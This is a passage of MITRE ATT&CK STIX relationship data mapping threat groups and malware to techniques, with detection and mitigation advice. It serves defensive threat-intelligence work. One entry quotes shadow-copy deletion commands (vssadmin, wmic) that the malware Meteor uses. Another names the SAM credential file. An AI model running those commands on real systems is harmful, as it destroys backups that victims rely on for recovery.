creation or modification of mail transport rules.","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cd001a55-ed41-4109-9090-41bebed9113a","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Obfuscation June 2017","description":"Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.","url":"https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"},{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"source_name":"Bitdefender FIN8 July 2021","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation"},{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-06T15:38:23.088Z","description":"[FIN8](https://attack.mitre.org/groups/G0061)'s malicious spearphishing payloads are executed as [PowerShell](https://attack.mitre.org/techniques/T1059/001). [FIN8](https://attack.mitre.org/groups/G0061) has also used [PowerShell](https://attack.mitre.org/techniques/T1059/001) for lateral movement and credential access.(Citation: FireEye Obfuscation June 2017)(Citation: Bitdefender FIN8 July 2021)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Symantec FIN8 Jul 2023)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cd04ef35-9cac-4a56-af29-1ac6d8a0f1cf","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-11T21:34:12.882Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. Sysmon Event ID 7 (Image loaded) can be used to monitor the loading of DLLs into processes. This is a particularly noisy event and can generate a large volume of data, so we recommend baselining and filtering out any known benign processes and module loads to help reduce the number of events that are produced.","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd07e694-b95b-4797-b2da-63704b4e8939","type":"relationship","created":"2019-06-18T18:40:33.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/","source_name":"Flashpoint FIN 7 March 2019"}],"modified":"2020-03-28T21:44:14.183Z","description":"[SQLRat](https://attack.mitre.org/software/S0390) has created scheduled tasks in %appdata%\\Roaming\\Microsoft\\Templates\\.(Citation: Flashpoint FIN 7 March 2019)","relationship_type":"uses","source_ref":"malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd0f725b-ac60-4cc2-ae01-3b4f0d53e6e9","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor and investigate attempts to modify ACLs and file/directory ownership.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd10cc85-ccc4-4683-9421-9254a0d1259a","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for logged domain name system (DNS) registry data that may compromise third-party DNS servers that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","source_ref":"x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4","target_ref":"attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cd1a91ea-4b59-4352-b902-941fbec64f29","created":"2020-02-19T18:54:47.762Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Pfammatter - Hidden Inbox Rules","description":"Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.","url":"https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"},{"source_name":"Microsoft Tim McMichael Exchange Mail Forwarding 2","description":"McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.","url":"https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"},{"source_name":"Microsoft Manage Mail Flow Rules 2023","description":"Microsoft. (2023, February 22). Manage mail flow rules in Exchange Online. Retrieved March 13, 2023.","url":"https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/manage-mail-flow-rules"},{"source_name":"Microsoft Get-InboxRule","description":"Microsoft. (n.d.). Get-InboxRule. Retrieved June 10, 2021.","url":"https://docs.microsoft.com/en-us/powershell/module/exchange/get-inboxrule?view=exchange-ps"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T13:36:25.517Z","description":"Enterprise email solutions have monitoring mechanisms that may include the ability to audit auto-forwarding rules on a regular basis.\n\nIn an Exchange environment, Administrators can use `Get-InboxRule` / `Remove-InboxRule` and `Get-TransportRule` / `Remove-TransportRule` to discover and remove potentially malicious auto-fowarding and transport rules.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Microsoft Manage Mail Flow Rules 2023)(Citation: Microsoft Get-InboxRule) In addition to this, a MAPI Editor can be utilized to examine the underlying database structure and discover any modifications/tampering of the properties of auto-forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cd1e409b-e981-4c83-a9ea-86705a45f92c","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.639Z","description":"[EvilGrab](https://attack.mitre.org/software/S0152) adds a Registry Run key for ctfmon.exe to establish persistence.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd228bad-f797-4d32-a510-d601b58553f6","type":"relationship","created":"2019-12-12T14:59:58.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2019-12-12T14:59:58.329Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd22a7a4-6f9f-481c-9a6d-6e1c665ed6cd","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[WINERACK](https://attack.mitre.org/software/S0219) can enumerate services.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--49abab73-3c5c-476e-afd5-69b5c732d845","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd24838b-45b2-405d-b932-9ac49eca8d4a","type":"relationship","created":"2019-02-18T18:08:05.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html","description":"Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.","source_name":"Talos CCleanup 2017"}],"modified":"2020-03-16T21:25:53.520Z","description":"[CCBkdr](https://attack.mitre.org/software/S0222) can use a DGA for [Fallback Channels](https://attack.mitre.org/techniques/T1008) if communications with the primary command and control server are lost.(Citation: Talos CCleanup 2017)","relationship_type":"uses","source_ref":"malware--b0f13390-cec7-4814-b37c-ccec01887faa","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd283aa1-23f1-4516-9198-9d565bd4a431","type":"relationship","created":"2020-11-10T16:24:47.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DFIR Ryuk's Return October 2020","url":"https://thedfirreport.com/2020/10/08/ryuks-return/","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020."}],"modified":"2020-11-10T16:24:47.051Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used taskkill.exe and net.exe to stop backup, catalog, cloud, and other services prior to network encryption.(Citation: DFIR Ryuk's Return October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd2842e8-13e8-4946-9f16-f0473c6ac205","type":"relationship","created":"2021-09-29T20:46:38.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T20:46:38.422Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has attempted to lure victims into enabling malicious macros within email attachments.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd2a7854-1339-4f40-8ba1-be032dc5249e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"}],"modified":"2020-06-02T16:14:00.319Z","description":"The [BlackEnergy](https://attack.mitre.org/software/S0089) 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.(Citation: F-Secure BlackEnergy 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd302f73-dd1d-484e-bd96-ed8379f52c39","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor newly executed processes that may abuse Python commands and scripts for execution.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cd38ce72-655d-40f5-afbc-5a9ad0624a6a","created":"2022-03-07T19:33:01.743Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) can use `bcdedit` to delete different boot identifiers on a compromised host; it can also use `vssadmin.exe delete shadows /all /quiet` and `C:\\\\Windows\\\\system32\\\\wbem\\\\wmic.exe shadowcopy delete`.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-09T15:23:57.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd45bd64-3793-49e7-82d0-9cdabf417d61","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2020-06-23T19:56:50.231Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) infected victims using JavaScript code.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cd4655ac-8e31-4272-a944-9bf54074d3a0","created":"2023-03-26T14:42:42.026Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T14:42:42.026Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) added credentials to OAuth Applications and Service Principals.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd46796f-4a71-468a-b19f-87a13894d254","type":"relationship","created":"2021-08-31T14:28:20.425Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-31T14:28:20.425Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has exfiltrated data over its C2 channel.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cd5799f3-8be5-4272-88db-626940136130","created":"2020-05-21T14:55:00.290Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro TropicTrooper 2015","description":"Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.","url":"https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"},{"source_name":"TrendMicro Tropic Trooper May 2020","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:24:22.274Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has detected a target system’s OS version and system volume information.(Citation: TrendMicro TropicTrooper 2015)(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd58d271-9ee2-45d6-9ca3-22ae8da639b5","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-16T16:55:39.630Z","description":"A [Helminth](https://attack.mitre.org/software/S0170) VBScript receives a batch script to execute a set of commands in a command prompt.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd5d323c-5ec5-4bef-8b8f-2d975a44cbcb","type":"relationship","created":"2020-11-10T19:09:21.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-12-09T18:49:56.501Z","description":"[Javali](https://attack.mitre.org/software/S0528) has achieved execution through victims opening malicious attachments, including MSI files with embedded VBScript.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--64122557-5940-4271-9123-25bfc0c693db","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd63c221-6dc1-4b88-ab82-8f64493cbacd","type":"relationship","created":"2020-03-25T13:58:19.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TYPEFRAME June 2018","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}],"modified":"2020-03-25T13:58:19.146Z","description":"[TYPEFRAME](https://attack.mitre.org/software/S0263) variants can add malicious DLL modules as new services.[TYPEFRAME](https://attack.mitre.org/software/S0263) can also delete services from the victim’s machine.(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd68ff0c-88c9-4a71-82ff-f16da53ed8ed","type":"relationship","created":"2020-11-19T17:07:09.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-19T18:02:58.692Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has enumerated processes by ID, name, or privileges.(Citation: CISA MAR SLOTHFULMEDIA October 2020) ","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd69ba48-b716-4278-b1a0-2efd3bd2d4de","type":"relationship","created":"2019-04-10T16:09:07.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."},{"source_name":"Microsoft Holmium June 2020","url":"https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/","description":"Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."}],"modified":"2020-06-22T20:15:32.389Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has utilized PowerShell to download files from the C2 server and run various scripts. (Citation: Symantec Elfin Mar 2019)(Citation: Microsoft Holmium June 2020)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cd6b15c6-65d0-4791-9cf5-bff9066f1060","created":"2022-04-18T18:58:06.824Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for hash dumpers opening the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM). Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid 